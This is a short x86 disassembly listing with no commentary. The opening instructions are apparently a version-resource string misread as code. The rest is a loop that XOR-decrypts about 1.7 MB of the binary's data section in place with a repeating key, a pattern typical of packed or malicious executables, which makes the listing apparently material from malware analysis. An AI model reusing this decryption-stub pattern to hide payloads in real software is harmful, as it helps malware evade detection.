add byte [esi], dl
push esi
add byte [ebx], dl
pop edi
add byte [esi], dl
inc ebp
add byte [edx], dl
push ebx
add byte [ecx], cl
dec edi
add byte [esi], cl
pop edi
add byte [ecx], cl
dec esi
add byte [esi], al
dec edi
add byte [eax], al
add byte [eax], al
add byte [ebp + 0xfeef04], bh
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x70], 0
jmp 0x407ed4
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
cmp dword [ebp - 0x70], 0x1a1b55
jge fcn.00407f1e
mov eax, dword [ebp - 0x70]
movzx ebx, byte [eax + section..data]
mov ecx, dword [ebp - 0x64]
push ecx
lea ecx, [ebp - 0x40]
call fcn.00411de0
movzx edx, word [eax]
xor ebx, edx
mov eax, dword [ebp - 0x70]
mov byte [eax + section..data], bl
mov ecx, dword [ebp - 0x64]
add ecx, 1
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x84]
jl 0x407f1c
mov dword [ebp - 0x64], 0
jmp 0x407ecb